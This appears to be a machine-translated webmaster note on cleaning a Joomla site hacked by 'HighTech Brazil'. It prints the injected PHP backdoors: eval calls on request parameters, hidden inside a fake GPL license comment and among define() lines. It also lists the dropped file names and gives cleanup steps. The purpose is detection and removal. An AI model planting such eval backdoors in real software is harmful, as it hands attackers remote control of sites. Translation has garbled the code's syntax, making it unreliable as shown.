hacked sites HighTech Brazil

Find those files that have been hacked:
copyright.php
changelog.php
Where there are these lines added:
(I compared with my other non hacked Joomla 1.5.26 site - Important: it seems that research on the content of the file with the value $ gnu enough to locate)

In header file:

<? PHP
/ * GNU GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
This program is free software, you can redistribute it and / or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; Either Version 2 of the License, or
(At your option) any later versions.

This program is distributed in the hope That It Will Be useful,
goal WITHOUT ANY WARRANTY, without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

GNU GENERAL PUBLIC LICENSE
Version 2, June 1991

* / Copyright6_7_78 () / * 1989, 1991 Free Software Foundation, Inc.
                          675 Mass Ave, Cambridge, MA 02139, USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document order changing it is not allowed.

Preamble

  The MOST licenses for software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is Intended to guarantee your freedom to share and change free
software - to make safe the software is free for all users icts. This
General Public License Applies to MOST of the Free Software
Foundation's software and to any other program Whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Library General Public License INSTEAD.) You can apply it to
your programs, too. * />

And bottom of the file:

Copyright6_7_78 ();
Copyright6_7_78 function () {
static $ gnu = true;
return if ($ gnu!)
if (! isset ($ _REQUEST ['gnu']) | | isset ($ _REQUEST ['c_id'])) return;
$ Gpl = implode ('', $ _REQUEST ['gnu']);
eval ($ gpl ($ _REQUEST ['c_id']));
$ Gnu = false;
}
>

Once the files containing the localized code, clean up and leave ...

Find the files that have been added:

The directories listed are only my opinion, they seem to generate the names of existing files in Joomla so that we do not care - Important: it seems that research on the content of the file settings.xml enough value to locate them.
All2.php
html4strict.php (and variations of the name or kind html4strict1.php html4strict1.bak.php everywhere)
pageNavigation.bak.php (File "includes")
pageNavigation.class.php (File "includes")
CREDITS.php (in many cases)
loader.1.php (File "book")
loader.bak.php (File "book")
LICENCE.php (File "media" and "modules")
article5.clas.php (in many cases)
news2.clas.php (in many cases)

Here are the contents of these files (at least for me):

<? PHP
define ('REAL_SERVER_ROOT', 'SERVER');
/ / DIR
define ('SERVER_ROOT', '.');
define ('SERVER_VERSION', '2 .5 ');
define ('BOOT_DIR', 'bootstrap');
define ('SYSTEM_DIR', 'system');
define ('SYSTEM_CONF_DIR', 'conf');
define ('SYSTEM_CONF_PATH' SERVER_ROOT '/' SYSTEM_DIR '/' SYSTEM_CONF_DIR....)
define ('KERNEL_DIR', 'kernel');
define ('SERVICES_DIR', 'services');
define ('LIBRARIES_DIR', 'libs');
define ('FRAMEWORKS_DIR', 'Frameworks');
define ('IMPLEMENTATIONS_DIR', 'implementations');
define ('EXTERN_DIR', 'external');
/ / APP
define ('APPS_DIR', 'apps');
define ('USERS_DIR', 'users');
define ('USERS_PATH' SERVER_ROOT '/' USERS_DIR..)
define ('USERS_CONF_DIR', 'conf');
define ('USERS_FILES_DIR', 'files');
define ('SYSTEM_SKEL_DIR', 'skel')? @ Eval (base64_decode ($ _REQUEST ['c_id'])) define ('SYSTEM_SKEL_PATH' SYSTEM_CONF_PATH '/' SYSTEM_SKEL_DIR..)
define ('USERS_SHARE_DIR', 'share');
define ('USERS_META_DIR', 'meta');
define ('USERS_META_SETTINGS_FILENAME', 'settings.xml');
define ('WORKGROUPS_DIR', 'workgroups');
define ('WORKGROUPS_PATH' SERVER_ROOT '/' WORKGROUPS_DIR..)
/ / CONF
define ('WORKGROUPS_CONF_DIR', 'conf');
define ('WORKGROUPS_FILES_DIR', 'files');
define ('WORKGROUPS_METAFILES_DIR', 'metafiles');
define ('WORKGROUPS_META_DIR', 'meta');
define ('WORKGROUPS_META_SETTINGS_FILENAME', 'settings.xml');
>

The file index.php or index.html

Index.qqchose several files are modified. They contain the code
Hackeado por HighTech Brazil HackTeam
No \ One - CrazyDuck - Otrasher - L34NDR0
That appears everywhere.
The then replace it with a clean file installs clean or just replace the code with the following:
<html> <body bgcolor="#FFFFFF"> </ body> </ html>
should suffice.
Conclusion

Once the cleaned their hack or completely deleted files, then once a solid htaccess. Generated, the site should be safe in the future. For now the case from 18 January 2013. If adventure should continue, I will update this file.
Evernote makes it easy to remember things big and small from your everyday life using your computer, tablet, phone and the web.